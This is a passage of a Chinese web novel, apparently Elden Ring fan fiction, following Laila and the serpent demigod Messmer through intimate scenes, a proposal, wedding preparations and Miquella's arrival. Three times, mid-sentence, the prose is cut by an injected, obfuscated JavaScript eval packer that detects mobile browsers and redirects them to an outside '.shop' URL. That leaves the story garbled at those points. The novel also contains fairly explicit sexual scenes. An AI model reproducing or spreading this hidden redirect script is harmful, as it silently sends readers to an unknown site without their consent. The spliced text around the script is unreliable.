她想温柔地待他,动作尽可能轻柔。她捧住他的脸,手指穿过火焰般蜷曲的发丝,拇指指腹摩挲着他的脸颊。 她极其耐心地吻他,仿佛想用触觉将他记住——记住他眉眼的弧度,鼻梁的轮廓,下颌的线条,和锁骨的深谷。 她能摸到他的肋骨,能摸到他喉咙里的声音,还有他胸腔里震动的心跳声,仿佛要突破苍白的皮肤跳出来。 她找到他的手,宽大的手背青筋凸起。她抚上他的手背,说:“放松。” 她将梅瑟莫的手抱到怀里,他指甲有点尖,所以她说:“温柔一点。” 金色的竖瞳映出她的身影,神情像是着了魔。她嗯唔了一声,抱着他的手臂,脑袋微微后仰。 “……莱拉。”梅瑟莫的声音低哑无比。 她动作越是温柔,他就越是难以忍耐。 “莱拉,过来这里。”喑哑的嗓音含着恳求之意,仿佛沙漠中即将渴死的旅人,充满着枯干的渴望。 “莱拉。” 她凑过来,在他颤抖的嘴唇上蜻蜓点水般地吻了一下,然后又退了回去,继续坐在他腰上。 但是那不够,完全不够。 蛇需要的是将配偶紧紧缠在怀里,密不可分地交缠在一起。 亲吻也许能抚慰梅瑟莫的焦躁,但两人的体型差让她无法兼顾两者。 她将手撑在梅瑟莫的腰腹上,带翼蛇体贴地圈住她的腰,以作支撑。 大片的白光。 她隐约听见梅瑟莫不受控制地闷哼出声,呼吸剧烈颤抖起来。 他听起来好像要死了,像濒死之人一般抽搐着喘气。 他死死抓住她的腰,用的力气可能有点大,带翼蛇咬了他的手腕一口,要他松手。 “……莱拉。” 她硬起心肠,示意他将手拿开。 “不……”梅瑟莫哽出声音,他在发抖,“不要这么折磨我。” 她动摇了一下。 “让我抱你。”沙哑的声音燃着哀求之意,“让我碰碰你。” 她迟疑起来,没想到只是开头阶段他就不行了。 “……莱拉。”他轻轻抽搐起来,好像快到临界点了。 她离开原来的位置,起身去吻他。 唇瓣相触时,梅瑟莫从喉间溢出一声颤抖的喟叹,紧紧贴上来。 他呼吸滚烫,像发烧的人一样,苍白的面颊染着病态的潮红。 “待在这。”他贴着她的嘴唇低声恳求,“就待在这。” 只能没入一点点也没关系。红发的半神弯身捧着她的脸,她之前怎么亲他的,他也怎么吻她,直到她眼神渐渐开始涣散,声音开始含糊不清,他猛地将她往下一按,然后死死搂住她的腰身。 “啊……” 梅瑟莫低声在她耳畔说,果然要像这样才行。 …… 要像这样才行。 …… 黑暗中,她听见了蛇类爬行的声音。 窸窸窣窣的声音,来自复数爬行的蛇。 醒来时,她看见了一双双红色的眼睛。那些蛇缠绕在她身边,密密麻麻集结成球。 它们全身长着眼睛,鳞片黑中泛红。它们将她圈在蛇窝里,不让她离开,不让她动弹,但也不伤害她。 体型小一些的蛇,沿着她的脚踝爬上来。 缠到她身上的蛇,将脑袋依偎到她颈间。 那些蛇穿过她的身体四肢,将她和蛇群织在一起。 黑暗中的那些红色眼睛,一直一眨不眨地望着她。 她侧躺着,被密密麻麻的蛇包围,不知道它们想做什么,但一股奇怪又陌生的感觉,让她无法心生恐惧。 被蛇躯缠得牢牢的,她勉强伸出手,想碰一碰离她最近的蛇的鳞片。 那条蛇仿佛察觉到她的意图,非常主动地靠了过来。 眼见着马上就能将鳞片贴到她手中,黑暗中突然响起一声愤怒无比的嘶鸣。 蛇群一下四散开来。那条盲眼的大蛇张开利齿如荆棘的嘴巴,狠戾异常地和周围的蛇缠斗到一起。 它将敌人咬得血肉模糊,自己也挂了彩。 它好不容易长好的鳞片又变得血迹斑斑,再次成了一条面目可怖的、几乎看不出原本鳞片颜色的蛇。 那些蛇蹿入黑暗深处,它依然在原地咆哮嘶鸣,不断从喉咙深处发出凶狠的气音。 “……梅瑟莫。” 声音一止,他闭上嘴巴,停顿好久,才慢慢朝她的方向看了过来。 覆盖灰白薄膜的眼珠没有焦距,但他身上的其他眼睛都看向她的所在。 她朝他伸出手,他下意识想后缩,将自己缩到黑暗中去,藏起自己血淋淋的丑陋躯壳。 她将手放到他的吻部,小心而温柔地抚上他的鳞片。 “原来你是一条漂亮的红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643927|135293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛇。” 虽然因为脏污的血迹而有点难以辨认,但如果仔细观察,就会发现他的鳞片是烈焰般的红色。 “是一条漂亮的红蛇啊,梅瑟莫。”她抚摸着他的鳞片,忍不住叹息,“怎么我每次见你,你都把自己搞得遍体鳞伤呢。” 大蛇沉默不语。 化为蛇形时,他无法口吐人言,于是干脆变得更加沉默。 “张开嘴巴让我看看。” 他刚才咬其他蛇咬得那么凶,仿佛要将对方的脑袋给撕下来,不知道有没有在过程中伤到口腔。 大蛇继续沉默不语。她鼓励他:“啊。” “啊——” 她非常有耐心。 “啊——” 蛇嘴巴终于打开了。 如同荆棘般密布的利齿,在她伸手去摸时飞快地贴着牙槽缩了起来,像毒蛇的獠牙一样,原来是能够收起来的。 她和他口腔内壁的眼睛对视,红色的虹膜,黑色的竖瞳。 嗯,嘴巴里的眼睛也没有受伤的样子。 眼睛这么脆弱的东西,怎么能够到处乱长呢,一不小心被刺瞎了怎么办,就算眼睛多也不能这么不小心啊。 她呼出一口气,放松下来,然后抬手摸摸他的鳞片。 “没事就好。” 直到醒来之前,两人不知道会在黑暗里待多久。鳞片窸窣着,梅瑟莫小心翼翼地将她圈到怀里,让她靠着自己身躯没有伤口的部分。 这次他没有缩小体型,他似乎警惕着那些蛇会去而复返,维持着放哨的姿态。 她用期待的语气说:“可以有篝火吗?” 盲眼的巨蛇朝她的方向看了一眼。 片刻后,黑暗里燃起了猩红的火光。 他并不喜欢自那火焰,但架不住她喜欢。 她靠在他身上,用手指抚摸着他的鳞片。 “梅瑟莫。” 盲眼的巨蛇回过头,但她似乎只是想喊一下他的名字罢了。 她将脸贴到他的鳞片上,作为回应,他无声地将她缠紧了些,将她护在心口处。 她看着不远处的鳞片,上面横亘着血肉模糊的伤口。那些伤是在他撕咬其他蛇时冒出来的,受伤的部位和他撕咬的地方一模一样。 那团黑色的蛇——深渊之蛇,是生来就在他体内的东西。 她之所以会有陌生又熟悉的感觉,是因为它们本来是梅瑟莫的一部分。 深渊之蛇和梅瑟莫,二者无法分离。 从某种意义上而言,梅瑟莫本质为蛇。一直压抑本性保持人形,反而会造成长久的痛苦。 “……梅瑟莫。” 她想说其实就算变成蛇也没关系,但他当然不会允许,亦绝不会认可。 蛇是和黄金树相悖的存在。 不管是火焰还是深渊之蛇,对黄金树来说都是巨大的威胁。 因此就算要苦苦挣扎至最后一刻,他估计也想保持人形吧。 盲眼的巨蛇再次看过来时,她只是又唤了一声:“梅瑟莫。” 他似乎拿她没有办法。她一喊他,他就有些不知道该如何是好。 蛇喉柔软颤动着,盲眼的巨蛇低头凑过来。她摸摸他的下巴,温柔地亲了亲他的吻部。 “就算变成蛇了,”她说,“你也是最好看的那一条蛇。” 23.23 她仔细数了一遍。梅瑟莫化身为蛇时,身上一共有一百五十八个眼睛。 其中六个眼睛长在嘴巴里,剩下的都长在蛇躯上。那些眼睛或睁开或半阖,竖瞳狭长似漆黑的裂缝。 她想象了一下同时用一百多个眼睛看东西是什么感觉。 化为蛇形时,他对世界的感知应该很不一样吧。 火光在大理石壁炉中燃烧,她依偎在红发的半神怀里,听他用低沉的声音读《遗迹里的幽影地历史》。那丝绸般的嗓音特别适合用来念书,每次念着念着她都会睡过去,睡得特别安稳。 但今天她不能这么轻易睡去。萨赞答应她如果这次她考试及格,会带她去探索古迹,现场领略她之前只能在书本上学到的内容。 她甚至都和带翼蛇说好了,如果这场考试由梅瑟莫监考,它们到时候会给她一些小提示,根据对错在梅瑟莫身后摆出“○”或者“×”,她就不信这次考试她过不了。 她就不信…… 完了,刚才梅瑟莫念到哪里了? 她试图打起精神。 “困的话就休息。”梅瑟莫的声音从头顶上方传来。 “……我不困。”她一边这么说着,眼皮却逐渐沉重。 视野里的烛光朦胧成一片。带翼蛇窸窸窣窣着依偎到她颈边,将小翅膀搭在她的腰背上。 红发的半神声音低下去,最后重归寂静。 睡过去之前,她隐约感到他执起她的手,贴着她的指根轻轻烙下一吻。 温热的呼吸声融在指缝里,梅瑟莫好像低声说了些什么。她很努力地去辨认,却还是架不住涌上来的睡意,滑入了甜美的黑暗。 …… 珍珠太普通了。 那青金石如何? 颜色不太搭。 红宝石? 红宝石俗气。 同理,紫翠玉、玫瑰晶、玛瑙也都不尽如人意。 所以最后还得是黄金吗? 黄金最合适。 我也这么认为。 要最纯粹的黄金。 梅瑟莫大人意下如何? …… “……梅瑟莫?” 醒来时,高大的半神不见踪影,燃烧整夜的蜡烛只剩白色的油脂。幽影城笼罩在早晨的寂静里。她已经习惯了醒来就能看到梅瑟莫的日子,一时有些无所适从。 黑色的幽灵侍女很快鱼贯而入,像平时一样为她梳洗换装,端上热气腾腾的早饭。 她总觉得有哪里好像不太一样,但又说不上具体的区别。 希德步履匆匆地走进来,为她捧上一床金羊毛编织的毯子。 那是她见过的最金光灿灿的羊毛毯,摸上去时手感厚密柔软,金色的光泽似流水波动。根据希德的说法,这羊毛毯还有抗雷属性,是不可多得的珍品。 “为什么突然要给我加床毯子?” “天气严寒,梅瑟莫大人担心你着凉。” “可是现在已经初春了?” 希德面不改色:“初春天气严寒,一样容易着凉。” “……”她接过那金灿灿的羊毛毯,随口说了一句:“这么贵重的金羊毛,是不是得有巨龙守着?”① 那本来只是一句玩笑话,没想到几天后,火焰骑士还真的给她牵来了一条飞龙。 那条巨龙被压在正门广场,她一大清早就被愤怒的龙啸吵醒,半梦半醒间听见希德告诉她:来自尖刺山的龙已经有了,接下来她想把龙放到哪? “……”她没想到自己随口说的一句话会闹出这种误会,赶紧拜托火焰骑士把这条飞龙送回去。 但怪事并没有到此为止。 接下来几天,她收到了金杯、金盘、纯金打造的珠宝首饰若干,连衣服都多出了好几件华丽带金绣的。她一头雾水,差点以为幽影城财政出了什么问题,要将钱财以金器的形式转移,顺便让她帮忙打下掩护。 这份迷茫在去劳弗古迹的那一天达到了顶峰。除了萨赞和希德之外,梅瑟莫还给她拨了四位火焰骑士。三天两夜的古迹探索之旅,队伍加上她一共有七人。 她提前了解过,劳弗古迹位于幽影地的西边,若想前往遗迹就必须经过幽影城。再加上萨赞熟悉路径,这次也只是在古迹边缘逛逛,按理说是没什么风险的一次出行,和在幽影城后门露营没有太大区别。 尽管如此,出发前,她还是从梅瑟莫那里收到了一个小金瓶。 继金杯、金盘之后,她终于集齐了金瓶。 那瓶子散发着温暖的金色光芒,瓶身绘着精致的花纹,如同藤蔓一般攀在瓶身表面。 见到那金瓶时,在场的火焰骑士表情微变。 “怎么了?” 仅从那些火焰骑士的神情判断,会让人觉得这个小金瓶是什么非常不得了的东西。 希德告诉她:“这是玛莉卡大人为梅瑟莫大人制作的灵药。” 出征前,玛莉卡女王曾给梅瑟莫军赐下诸多祝福,连普通士兵都有黄金雕制的胸铠。唯有梅瑟莫获得了她亲手制作的灵药。 能治百毒的灵药非常珍贵,即使是梅瑟莫也只有数瓶。这么多年来,他一直不曾使用。 劳弗古迹远离幽影树的荫蔽,是山清水秀之地。 巨大的古迹被绿意和清水淹没,历史比角人的文明更加悠久。意识到这一点的萨赞当年竭力阻止温戈火烧遗迹,甚至在抢救文物的过程中烧坏了嗓子。 事后,温戈骂他鲁莽,萨赞斥他愚昧。好在古迹保留了下来,没有遭到圣战之火的焚烧,像角人的文明一样被付之一炬。 幽影城处于幽影树的树荫里,是幽影地最阴暗的地方。她已经很久没晒到太阳了,也许久没见到葱茏绿意。 巨大的瀑布飞流直下,在阳光的照射下煜煜生辉。 天朗气清,绿意盎然的古迹尽头隐约可见一座巨大的浮空建筑,像高塔一般隐入云端。但换一个角度看过去时,那座螺旋的高塔又消失不见了。 “那是什么?” 萨赞告诉她那是螺旋塔。“对于角人来说,那是他们至高的圣所。” “我之前怎么没有读到相关记载?” “因为螺旋塔的存在是禁忌,莱拉大人。” 永恒女王玛莉卡将幽影地从世间隐去时,同时也封印了螺旋塔的存在。 那封印树至今存在。幽影城之所以镇守着劳弗古迹的入口,也是出自相同原因。 “那不是很奇怪吗?”她问,“这么重要的禁忌,怎么会让被放逐之人来守呢?” “慎言,莱拉大人。” 萨赞哑声警告她:“玛莉卡大人的旨意,我们不能妄加揣测。” 她没说话。 因为不论这个决策明智与否,事实证明:哪怕遭到放逐千年,梅瑟莫依然忠于自己的职责,从未一刻背叛过玛莉卡的旨意。 她让他掀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665850|135293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起圣战,他便让圣战的火焰焚烧至角人领土的每一个角落。 她让他镇守螺旋塔的封印,他便在千年的时间中确保任何人都无法接近这片遗迹。 玛莉卡当年只下达了征战的指令,于是焚毁一切后,他便只是守着剩下的废墟,等待她进一步的指示。 被战争焚毁的废墟,再也没有重建。 幽影地没有城镇,亦没有集市,没有日常生活的气息。 晚上休息的时候,她枕在漫天星辰下。猩红的火焰从她掌心里悄悄冒出来,像蛇一样蜷到她身边。 三天两夜的旅程改成了两天一夜。 第二天,有火焰骑士匆匆从幽影城那边跑来,语气恭敬地问她能不能缩短行程,早点回去。 幽影城北面的巫者村四季如春。沐浴在金色光芒中的花海,仿佛永远不会枯萎,永远都保持着盛开的模样。 她不知道梅瑟莫为什么会忽然想带她来这里,但不管他带她去哪里,她都很开心。 小小的黄金树伫立在花海中央,她对梅瑟莫说:“要不要和我一起躺下来?” 即使是白天,幽影地的天空也能看到巨大的月亮。 白色的月亮嵌在金色的穹幕里,每次看到那奇妙的景色,她都会想起这个世界和她家乡的不同。 虽然美丽,却稍微会让人觉得有点寂寞。 这个村庄也是如此——美丽而静谧的花海,爬满青藤的石头建筑,因为没有人烟总是显得空空荡荡。 她决定转换视角。 如果她是一株植物,一定会觉得这里是非常热闹的地方,一点也不寂寞。 到处都是盛开的鲜花,对于人来说很孤独的地方,对于花草来说也许是热闹的集市呢。 人又不是这个世界上唯一的生物。荒芜的遗迹,文明的废墟,到了春天时会开花,会攀上厚厚的青苔和藤蔓,和大自然密不可分地拥抱在一起。 如果她是植物的话,她一定一点也不孤单。 如果他的母亲在他身边的话,他一定也不会寂寞吧。 风声拂过,金芒随风飘舞,明丽的花海在两人身边沙沙摇曳。 她转过头,问梅瑟莫:“当初为什么会想建立物种保藏库?” 她其实更想问他,有没有考虑过不再只是守着一片废墟? 梅瑟莫闭了闭眼:“……那是萨赞的提议。” “你当时为什么会通过?” 梅瑟莫睁开眼睛,金色的竖瞳朝她望了过来:“为何这么问?” “因为我想知道。”她说,“幽影城有很多我不了解的事。” “……没有什么特殊原因。”梅瑟莫道,“无伤大雅的提案,通过又何妨。” 带翼蛇拱了拱梅瑟莫,然后又拱了拱梅瑟莫。 它今天似乎有些着急,再三催促红发的半神。 至于是要做什么,她就完全不清楚了。 日头西斜,她从花海中站起身。幽影地的火烧云波澜壮阔,非常漂亮。 “莱拉。” 天色暗下来后,花海中的小黄金树愈发明亮。 那金色的光芒温柔似水,笼罩在其中的花海仿佛莹着微光。 梅瑟莫小心翼翼地朝她伸出手,一枚小小的戒指躺在苍白的掌心里,形状如同两条缠绕咬合的蛇——亦或是纯金编织的圆环。 “你可愿意,”他嗓音微哑,“……你可愿意成为我的配偶?” 24.24 她不知道梅瑟莫将那枚戒指藏了多久。 风声慢慢止息,花海停止摇曳,鸢紫的暮色染上苍穹。小小的黄金树散发着柔和的光芒,照亮了他手中的戒指。 和宽大的手掌比起来,那金色的戒指显得十分小巧,如同某种脆弱的初生之物,需要小心翼翼地捧在手中。 她怔在原地,一时忘了回应。 梅瑟莫的脸色渐渐灰败下去,苍白的手指变得僵硬,如同定格的枯枝,无望地朝着水源的方向延伸。 红发的半神似是忘了呼吸,也不再需要呼吸。毫无血色的嘴唇微动,仿佛想将自己之前愚蠢的话语吞回去,嚼碎了重新咽下去。 她终于开口:“不给我戴上吗?” 梅瑟莫没有立刻反应过来,依然一动不动。 带翼蛇开始拼命咬他的穗子,将金色的穗子衔在嘴巴里反复碾咬。 “戒指。”她再次说,“不给我戴上吗?” 她朝他伸出手,这举动仿佛打破了某种无声的咒语,梅瑟莫向前一步,单膝跪地执起她的手。苍白的指尖微微颤抖着,他将金色的戒指戴到她左手的无名指上,一直推到指根处。 梅瑟莫的神情如同身处梦中,似乎有些不敢相信事情会进行得如此顺利。 他将吻落到她的无名指上,嘴唇紧紧贴着她的手指,迫切地想获得某种确据。 “莱拉。” 高大的半神抓着她的手,温热微颤的呼吸填满了她的指缝。 她问他:“戴上这个戒指,意味着你以后就是我的了吗?” 呼吸声陷在喉咙中一顿,好半晌,红发的半神才慢慢抬起头,蛇一般的竖瞳敛着奇异的幽光。 “……是。”他嗓音低哑。 “你以后也是……我的。” 说到这里时,梅瑟莫握着她的手无意识微微一紧,呼吸声变得贪婪起来。但他似乎怕自己伤到她,强忍着情绪松开了力道。 以前的人们相信左手的无名指和心脏相连,因此将戒指戴在无名指上能让爱意直达心脏。 她确实觉得自己心脏发烫,从戴上那枚戒指的那一刻起,她的心口就一直好烫。 她忍不住搂住梅瑟莫的脖子,高大的半神微微一僵。 带翼蛇缠上来,将两人紧紧拥在一起。它们似乎尤其高兴,不断吐着信子。 松开手后,她转身看向那棵小小的黄金树。 “我还有很多需要学习的地方,但我会努力的。” 她郑重补充:“我一定会好好待他的。” 风声拂过,周围的花海窸窣摇曳着,声音细碎而柔和。 暮色向夜色过渡,月亮在天空中大如银盘。她和梅瑟莫回去时,在下山的路上遇到了在巫者村周边巡逻的骑士。 那全副武装的守卫骑着高头大马朝两人走来,沉默地递给她一个东西,然后又沉默无声地走了。 她打开手掌,一块不知道从哪里掰下来的黄金,沉甸甸地在她手里闪耀着光芒。 回到幽影城后,城里的士兵骑士和幽灵同样给她献上了贺礼。那些礼物杂七杂八的什么都有,主要还是以黄金的饰品居多。 幽影地各处的要塞送来的贺礼到的晚一些。厚实的熊皮,珍贵的香膏,深海的珍珠,还有各种奇花异草,那些东西全部都送到了她的房间里,一箱一箱的垒在一起。 希德说,按照习俗,在举行婚礼仪式之前,两人不能见面。 希德又说,这习俗对梅瑟莫大人过于不友好,做个样子就行了,反正不遵照习俗也没人敢说什么,把她的房间空出来装贺礼即可。 幽影城最近忙碌了起来,死气沉沉的城池虽然还是那副黑漆漆的样子,氛围却悄然产生了变化。 宴会厅要装饰,庭院要打理。废弃的荒屋要除尘,被封多年的窗户需要重新通风。还有堆满走廊的长枪和剑戟,这些尖利的兵器通通都要换一个地方摆放。 幽影城以黑色为主色调,装饰物以黄金为主。希德带她看过会场,饱经岁月风霜的宴会厅实在是搞不出华美明丽的风格,因此只能尽力往庄严隆重的方向调整。 希德忧心忡忡,觉得幽影城过于压抑,根本不适合办婚礼。她倒是很喜欢,光是想象一下全副武装的士兵和骑士,阴气森森地给城主举办婚礼的模样都会笑出来。 梅瑟莫军的军徽肯定是要挂起来的。墨底的军旗绣着金色的徽章,在大厅尽头从高高的天花板垂落下来。 说不定会搞出行刑的氛围,她心里这么想着,又忍不住笑了。 她一笑,帮她佩戴头饰的幽灵侍女就会好奇地停下动作。 今天只是试穿婚纱。她坐在宽敞的长椅上,任黑色的幽灵侍女闪闪发光地簇拥在她身旁,细致地将她的长发编成辫子,繁复地在脑后盘起,然后小心翼翼地给她戴上金色叶片编织的头冠。 婚礼当天的捧花会从巫者村采摘。今天虽然不是正式的仪式,她怀里还是抱着一束花。紫色的、橙色的、白色的花,热热闹闹地簇拥在一起,隐隐氲着小黄金树的微光。 新娘的头纱是烈焰般的红,长裙是初雪般无垢的白。希德替幽影城的裁缝问她,关于裙上的刺绣,她可有什么喜欢的花纹。 她想了一会儿。 “青蓝海岸的那些花叫什么?” 希德没有立刻回答。寝殿内忽然安静下来。她循着众人的视线看过去,正好看到猩红的高大身影在门边停下脚步。 她忽然脸热起来,知晓刚才的话肯定让他听去了。但转念一想,她喜欢青蓝海岸那些花的原因,怕不是早就众所周知。 念及此,她敛起不好意思的情绪,抬起头。 周围的人不知何时都退了下去,独留二人在寝殿里对望。 梅瑟莫凝固在原地的时间有些长。绕在他身上的带翼蛇彼此对视一眼,露出智慧的眼神。 她被他那么看着,刚刚消退下去的热意又涌了上来。 “……有什么事吗?” 高大的半神如梦初醒。 他开口:“我只是……想来看看你。” 空气里的热意还在攀升。带翼蛇的眼神变得更加慈祥。 梅瑟莫在她面前停了下来。他似乎很想碰碰她,也确实这么做了。 苍白的手指抚上她的脸颊,好像在触碰什么易碎的珍品。麻酥酥的感觉像细小的电流,沿着被他抚摸的地方游走开来,她忍不住微微阖上眼帘,仰头问他: “……会很奇怪吗?” “不会。”梅瑟莫的声音低下去,“很适合你。” 一开始只是浅尝辄止的吻,轻轻触碰一下就很快分离。 但渐渐的,他似是觉得不够,呼吸声逐渐变得黏腻急促。 “……莱拉。”梅瑟莫发出喟叹,喃喃着她的名字。 他亲吻她的颈窝,像咬住猎物的蛇,贪婪地品尝着她的味道。 “我的,”低哑的嗓音染着病态的颤意,“我的莱拉。” 她也不知道自己今天是怎么回事,脑内名为理智的那根线绷断得特别快。 梅瑟莫将她压到长椅上,高大的半神将她笼罩在身下的阴影里。她攀着他宽厚的肩背,手指穿过烈焰般猩红的发丝,断断续续地溢出啜泣般的声音。 他像一条饿极了的蛇,连她口中的声音也觉得甜美不已。 梅瑟莫的吻今天又深又重,和平时的小心翼翼相比,明显带着更多掠夺的成分。她开始觉得有些头晕,视野漫上奇怪的黑斑,苍白宽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13683031|135293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大的手没入层层叠叠的裙摆,她从喉咙里溢出一声哽咽,腰颤抖起来。 “嗯……唔……梅……梅瑟莫……” 空气里的凉意袭上胸口,他喉咙微动,俯下身去。 她无意识张开口,但一转头,就看到了落地镜里的自己,双目湿润、脸颊绯红,凌乱的鬓发散落在颊侧,被巨大的蛇缠在长椅上的模样。 只一眼,她就像被烫到了一般,飞快转回头。 她揪住梅瑟莫的斗篷,从喉咙里挤出声音:“这里不行。” 但他不让她逃跑。他吻着她的喉咙,用安抚哄慰的语气说: “本来就是会在这里。” 新婚夜,按照习俗是要在躺椅上度过的。 “但是……”她说,“但是镜子……” 梅瑟莫嗓音喑哑:“看着我就好。” “莱拉。”他的声音像蛇,金色的竖瞳也像蛇。抚摸着她的手,像冰凉光滑的蛇鳞滑过皮肤,“看着我。” 他是幽影城城主的装扮,戴着头盔穿着铠甲,猩红的斗篷像燃烧的烈焰,金属的护臂冰冷坚硬,是他平时端坐在王座上的模样。 那张阴郁俊美的脸,笼罩在翼蛇头盔的阴影里。金色的竖瞳燃烧着奇异的神色。他将戒指戴到她手上时也曾露出这幅表情,仿佛之前一直苦苦压抑的某些东西终于松脱禁制,从黑暗中显出端倪。 窸窸窣窣的声音如同蛇鳞游动,梅瑟莫捧住她的脸,鼻息颤抖着发出一声满足的喟叹。 那是忍耐了许久的人,终于得到解脱时发出的叹息。 “别动。” 她恍惚地想起,他在圣战期间是军团的主帅,是角人口中屠城的暴君。 躺椅吱吱呀呀地响到了晚上。 昏暗的寝殿内,蜡烛无风自燃。弥漫的熏香无法掩盖空气里的味道,反而让周围的景色显得更加颓靡。 躺椅上散落着被碾碎的花瓣,带翼蛇窝在她颈间,像藤蔓一样攀在她身上。她的头冠早就不知道滚到哪里去了,地面一片狼藉。 她迷迷糊糊醒来时,正好听见咔哒一声细响,梅瑟莫往她手臂上套了什么东西。金色的蛇形臂钏冰冰凉凉,纹丝合缝地咬在一起,初步端详时根本看不出暗扣在哪。 梅瑟莫吻了吻她的脸颊,低声告诉她这个臂钏和手镯的功用相似,能保护她免受他人的精神搅扰。 归根结底,这都是她的灵魂不太稳定的缘故。 但是这样就没问题了。 梅瑟莫抚上她无名指的戒指,用拇指摩挲着那金丝编织的圆环。 “只是几天的时间而已。” 他亲亲她的手指,几缕猩红的发丝随着他的动作滑落鼻尖,高大的半神舒展阴郁紧蹙的眉,神情近乎虔诚。 距离婚礼只剩下几天了。 黑色的幽灵侍女帮她涂抹香膏,希德站在她身后,小声嘀咕梅瑟莫大人这次有点过于心急了。 好在她体质特殊,不然婚礼可能都得推迟几天。 她坐在镜前,可能是被室内的鲜花吸引,一只小小的蝴蝶从阳台飞进来,绕着周围的屏风飞舞了一圈。 那蝴蝶色泽黑红,翅膀的颜色如同被火烧过的焦炭。它悠悠然地飞进来,落到一束鲜花上停住不动了。 幽影城正门的方向传来喧哗,城门隆隆升起。黑甲的骑士快马加鞭,带着消息一路畅通无阻。 周围的侍女停下动作,火焰骑士悄无声息地来到她身边。那是护卫的姿态。 “怎么了?”开口询问希德时,她发现原本停在花瓣上的蝴蝶似是受到惊扰,张开翅膀飞走了。 外面是雾蒙蒙的阴天,和平时没有什么不同。 信使带来消息,有神人来到了幽影地。 25.25 玛莉卡是现任的神。 所谓的神,即是无上意志的代理人。 无上意志究竟是什么,没有人能说得明白。无上意志创造了现有的世界,是不可捉摸更高维度的存在。 无上意志会通过「双指」下达旨意。若说现任神是无上意志的代行者,那么双指就是无上意志的信使。 下任神的拣选,一向由双指进行。 神的子嗣被称为半神,在这些半神中,双指会选出下任神的候选人。这些候选被统称为「神人」,是仅次于神明的存在。 希德压低声音,在前往觐见厅的路上快速给她补充着知识。 当她抵达觐见厅时,所有人已经到齐了。烛火照亮了昏暗的空间,梅瑟莫麾下的军官和将领齐聚一堂。那些高大的身影沉默如幽影,像壁龛里的雕像。周围落针可闻,所有人都无声地注视着从交界地远道而来的神人。 那位少年立在觐见厅中央,白色的长袍似新雪洁白柔软,金色的长发如同毫无杂质的纯金,整个人都好像在发光。他只是那么往梅瑟莫的王座前一站,就如同初春的暖阳般化开了周围的阴冷与黑暗。 暗流涌动的寂静中,她在梅瑟莫的左手边落座。他没有侧头,没有出声,没有朝她投来一瞥或是对她的到来做出任何表示。 所有人心里都想着同一件事,迫不及待到几乎无法呼吸。 从交界地会有访客到来,这件事本身就是他们在这千年的时间里共同做过的梦。 “兄长大人。”少年开口时,嗓音温和明亮。 他露出笑容,语气真挚:“我一直都想见你一面。” 希德告诉她,这位神人的名字是米凯拉。他是玛莉卡女王的幼子。 米凯拉出生时,玛莉卡女王早已封印了幽影地,断开了两个世界的联系,因此梅瑟莫并未见过对方,也不知晓对方的存在。 这是两人第一次见面。 米凯拉用尊敬的语气道:“这一千多年来,兄长大人一直谨守着母亲的诫命,忠心耿耿地维护黄金树的律法,实在非常了不起。” “你从交界地远道而来,想必不是为了寒暄。”开口时,梅瑟莫的语气毫无波动。 红发的半神面上不显,却悄无声息地攥紧了王座的扶手,用力到指骨关节都微微泛白。 “直叙你的来意。”他嗓音阴冷,像蛇一样吐出接下来的音节,“神人。” 除了诞生自相同的母亲这点以外,二人并无任何手足之情。 金发的少年笑容不变,仿佛丝毫没有受到梅瑟莫冷漠的态度影响,亦没有察觉周围暗流涌动的氛围。 “我来此是为了成神。”他用孩童般天真直率的语气说,“我请求通行。” 如同石子落入湖面,烛火昏暗的觐见厅泛起涟漪。哪怕老练如梅瑟莫麾下的将领,闻及此也不免轻轻倒抽了一口气。 寂静的表象破裂开来。作为下任神的候选之一,少年会有此请求似乎理所当然。 但是,神的换代是何等重要的事。 更重要的是—— “这可是母亲的旨意?” 昏暗的光影中,梅瑟莫神情难辨。 他如同一座灰白的石雕,不带感情、近乎冷酷地审视着座下的少年。 “你此番前往幽影地,可有获得母亲的许可?” 米凯拉抬起头,少年的眼神依然温和,仔细端详时却似乎能看出怜悯之色。 “兄长大人,”他说,“我是神人。” 他拥有玛莉卡女王的赐福,是受双指认可的候选人,拥有成为下任神的资格。 看呐,他身上的光辉是何等明亮,让周围的一切都黯淡失色。 他是受神祝福的孩子,是她所爱的。他身上有神人的印记,是玛莉卡女王的正统继承人,这点不管是谁都能一目了然。 毕竟,他身上的光芒是那样纯粹灿烂,如同无暇的黄金。 “这一千多年来,你一直尽忠职守,管理着这幽影地。我并不奢求兄长大人的帮助,只希望你能允许我在你的领地内通行。” 米凯拉言辞恳切:“成神之路,我一人独行即可。” “……”梅瑟莫张了张口,但没有声音立刻出来。 